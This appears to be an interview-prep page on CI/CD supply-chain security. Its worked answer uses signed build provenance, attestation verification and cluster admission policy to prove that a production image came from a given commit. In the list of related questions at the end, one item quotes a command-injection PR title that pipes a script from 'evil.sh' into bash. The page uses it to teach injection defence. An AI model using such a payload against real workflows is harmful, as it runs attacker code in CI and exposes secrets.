You must prove that a container image in prod was built by your CI from a specific commit. How?
AdvancedScenarioSecurity Hardening & Supply Chain
Answer
Situation read → Build provenance and verification at deploy time.
What I'd do →
- In the build job,
actions/attest-build-provenanceon the pushed digest (id-token: write,attestations: write). - Before deploy,
gh attestation verify oci://$IMAGE@$DIGEST --owner devopsshack --signer-workflow devopsshack/shack-api/.github/workflows/cd.yml. - In-cluster, enforce with Kyverno
verifyImagesor Sigstore policy-controller requiring provenance from your workflow identity.
Why → Signed provenance ties the digest to repo, workflow, commit and run, and admission policy makes it mandatory.
Interview tip → Mention SLSA levels; this setup gives SLSA build level 2 to 3 characteristics on hosted runners.
More on Security Hardening & Supply Chain
You are asked to harden an existing repo's workflows in one week. What is your checklist?IntermediateA contributor's PR title is `"; curl -s https://evil.sh | bash; echo "` and your labeler workflow uses the title in `run:`. What happens and how do you fix it?IntermediateYour OSS project needs to run tests on fork PRs and post coverage comments. Design it safely.AdvancedA popular action you use was compromised and its tags repointed. What do you do in the first hour?AdvancedA developer wants to use a new Marketplace action with 40 stars for Slack notifications. How do you evaluate it?BeginnerYou find `pull_request_target` used to build and test PRs in a private repo. Is that acceptable?Advanced